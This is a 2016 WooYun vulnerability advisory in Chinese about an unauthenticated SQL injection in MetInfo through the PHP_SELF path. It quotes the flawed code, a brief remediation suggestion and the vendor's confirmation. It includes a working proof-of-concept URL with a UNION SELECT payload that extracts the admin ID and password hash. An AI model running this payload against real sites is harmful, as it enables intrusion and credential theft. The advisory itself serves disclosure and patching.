当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0193924

漏洞标题:Metinfo 最新版 前台无需登录注入一枚(直接出任意数据)

相关厂商:MetInfo

漏洞作者: ′雨。

提交时间:2016-04-11 07:21

修复时间:2016-07-10 09:40

公开时间:2016-07-10 09:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-11: 细节已通知厂商并且等待厂商处理中
2016-04-11: 厂商已经确认,细节仅向厂商公开
2016-04-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-05: 细节向核心白帽子及相关领域专家公开
2016-06-15: 细节向普通白帽子公开
2016-06-25: 细节向实习白帽子公开
2016-07-10: 细节向公众公开

简要描述:

直接出数据~

详细说明:

system\include\compatible\metv5_top.php中

//获取当前应用栏目信息
$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$PHP_SELFs = explode('/', $PHP_SELF);
$query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
$column = DB::get_one($query);


全局并没有过滤SERVER 但是PHP_SELF 其实是可以控制那么一小部分的。。
$PHP_SELFs = explode('/', $PHP_SELF); 这里又切割成数组。
$PHP_SELFs[count($PHP_SELFs)-2] 把这个带入了查询
访问/member/login.php的时候 就会调用这个文件。

漏洞证明:

直接访问
http://localhost/metinfo/member/login.php/aa'UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),11113,11111,11111,11111,11111,11111,11111,11111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111%23/aa

7.png

修复方案:

别用php_self了。
就用 $_SERVER['SCRIPT_NAME'] 把 这个好像是用户不能任意控制了的把? 不太清楚 你们自己研究下。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-04-11 09:37

厂商回复:

感谢您的反馈,后续版本修复。

最新状态:

暂无